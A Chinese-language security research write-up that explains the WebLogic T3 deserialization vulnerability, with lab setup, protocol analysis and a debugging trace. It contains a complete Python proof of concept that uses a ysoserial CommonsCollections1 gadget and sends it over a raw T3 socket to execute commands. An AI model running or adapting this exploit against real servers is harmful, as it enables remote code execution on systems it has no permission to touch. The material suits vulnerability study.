我这里环境搭建参考的是本地搭建的,参考的是这位师傅的文章:
https://www.penson.top/article/av40
可以直接本地windows搭建,他会创建一个目录,我们将这个目录放到idea中即可
然后将他的lib包导入进来。右键lib目录,然后Add as Library即可。
然后我们定位到WLSServletAdapter类的handle方法。注意是在weblogic.jar包下的。
接着配置一下debug,这里我的环境是我的weblogic是在windows上面搭建的,然后mac这边来调试的,这个ip是我windows里面的。
然后debug运行即可。
可以看到当我们访问:
http://localhost:7001/wls-wsat/CoordinatorPortType的时候,这边debug就可以捕捉到了。
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii
def generatePayload(gadget,cmd):
YSO_PATH = "/home/kali/Desktop/weblogic/ysoserial-all.jar"
popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
return popen.stdout.read()
def T3Exploit(ip,port,payload):
sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header +desflag+ payload
payload = struct.pack(">I",len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
ip = "weblogic的ip"
port = weblogic的端口
gadget = "CommonsCollections1"
cmd = "calc"
payload = generatePayload(gadget,cmd)
T3Exploit(ip,port,payload)
T3 协议是 Weblogic RMI 调用时的通信协议,远程方法调用也就是RMI,就是说我们可以调用另外一台虚拟机中的对象的方法,就是比如说A对象运行在192.168.0.15上面,B对象运行在192.168.0.16上面,那么A对象就可以调用B对象的方法。
Java RMI 的基础通信协议是 JRMP ,但是也支持开发其他的协议来优化 RMI 的传输,这里的T3协议就是RMI协议的优化版本。
我们来看一下POC:
sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header +desflag+ payload
payload = struct.pack(">I",len(payload)) + payload[4:]
sock.send(payload)
首先发送请求头的包也就是这字符串:
"t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
他会给我们返回weblogic的版本。
这里使用wireshark进行抓包:可以看到在发送请求包头之后,weblogic会相应给我们版本。HELO后面就是我们weblogic的版本。
HELO:10.3.6.0.falseAS:2048HL:19
紧接着发送webLogic的请求主体:图来源(https://zhuanlan.zhihu.com/p/590291153)
请求主体也就是数据,这些数据可以分几部分内容。第一部分也就是我们上一步发的请求头。也就是说后面的这些序列化数据可以是一部分也可以是好几部分
这里我们会想为什么需要发两次包?
如果我们直接将序列化好的数据发送过去的话,weblogic服务器是不会响应的,需要先发送T3协议头,服务端响应之后在发送序列化的数据。
我们来看下请求主体的报文:
这个报文中有我们的数据,在 T3 协议中由于每个反序列化数据包前面都有 fe 01 00 00
,所以这里的标志相当于就是 fe 01 00 00 ac ed 00 05。
那么也就是说在 fe 01 00 00 ac ed 00 05后的内容,如果我们要攻击的话,需要对这一串序列化数据进行恶意构造。
我们定位到InboundMsgAbbrev类的readObject方法中。readObject方法的底层还会去调用很多其他方法。在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后,程序依次尝试调用类对象中的readObject方法等。
来到ServerChannelInputStream构造方法,这个构造方法是用来处理服务端收到的请求头信息的。我们跟进去。
首先他会调用父类的构造方法,然后调用getServerChanel方法。我们跟进去。
这里的this.connection中存储着我们的端口等信息。然后调用getChannel处理T3协议。处理完T3协议之后返回到readObject方法。
跟进去readobejct方法继续跟进到#resolveClass方法。
调用链如下:
可以发现此时var2就是我们的AnnotationInvocationHandler类,也就是代理类,后续就是CC1的环节了。
参考:
http://wjlshare.com/archives/1573
https://zhuanlan.zhihu.com/p/590291153